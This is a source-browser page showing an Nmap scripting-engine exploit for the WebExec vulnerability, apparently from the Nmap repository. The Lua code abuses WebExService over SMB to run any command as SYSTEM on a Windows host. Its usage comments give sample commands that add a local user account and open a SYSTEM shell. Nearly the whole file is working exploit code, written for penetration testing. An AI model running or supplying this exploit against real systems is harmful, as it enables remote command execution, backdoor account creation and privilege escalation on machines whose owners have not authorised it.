summaryrefslogtreecommitdiffstats
path: root/scripts/smb-webexec-exploit.nse
blob: 06b727a136e054e807eb4755f5a8a2732d6ec835 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
local msrpc = require "msrpc"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
-- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit

description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability.
Given a Windows account (local or domain), this will start an arbitrary
executable with SYSTEM privileges over the SMB protocol.

The argument webexec_command will run the command directly. It may or may not
start with a GUI. webexec_gui_command will always start with a GUI, and is
useful for running commands such as "cmd.exe" as SYSTEM if you have access.

References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
]]

---
-- @usage
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>
--
-- @args webexec_command The command to run on the target
-- @args webexec_gui_command The command to run on the target with a GUI
--
-- @output
-- | smb-vuln-webexec:
-- |_  Vulnerable: WebExService could be accessed remotely as the given user!
--
-- | smb-vuln-webexec:
-- |   Vulnerable: WebExService could be accessed remotely as the given user!
-- |_  ...and successfully started console command: net user test test /add
--
-- @see smb-vuln-webexec.nse

author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit"}

portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")

local run_command = function(smbstate, service_handle, command)
  stdnse.debug1("Attempting to run: " .. command)

  return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end

action = function(host, port)

  local webexec_command = stdnse.get_script_args("webexec_command")
  local webexec_gui_command = stdnse.get_script_args("webexec_gui_command")

  if not webexec_command and not webexec_gui_command then
    return stdnse.format_output(false, "script-args webexec_command or webexec_gui_command is required to run this script")
  end

  local open_result
  local close_result
  local bind_result
  local result

  local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
  if not status then
    return stdnse.format_output(false, smbstate)
  end

  status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)

  if not status then
    smb.stop(smbstate)
    return stdnse.format_output(false, bind_result)
  end

  local result, username, domain = smb.get_account(host)
  if result then
    if domain and domain ~= "" then
      username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
    end
  end

  -- Open the service manager
  stdnse.debug1("Trying to open the remote service manager")

  status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)

  if not status then
    smb.stop(smbstate)
    return stdnse.format_output(false, open_result)
  end

  local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)

  if open_status == false then
    status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    smb.stop(smbstate)
    if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
      return stdnse.format_output(false, "WebExService is not installed")
    elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
      return stdnse.format_output(false, "WebExService could not be accessed by " .. username)
    end
    return stdnse.format_output(false, "WebExService failed to open with an unknown status: " .. open_service_result)
  end


  stdnse.debug1("Successfully opened a handle to WebExService")

  local output = nil
  if webexec_command then
    status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command)
    if not status then
      output = "Failed to start the service: " .. result
    else
      output = "Asked WebExService to run " .. webexec_command
    end
  end

  if webexec_gui_command then
    -- If they run both, give the first one a second to finish
    if webexec_command then
      stdnse.sleep(1)
    end

    status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command)
    if not status then
      output = "Failed to start the service: " .. result
    else
      output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)"
    end
  end

  status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
  smb.stop(smbstate)
  return output
end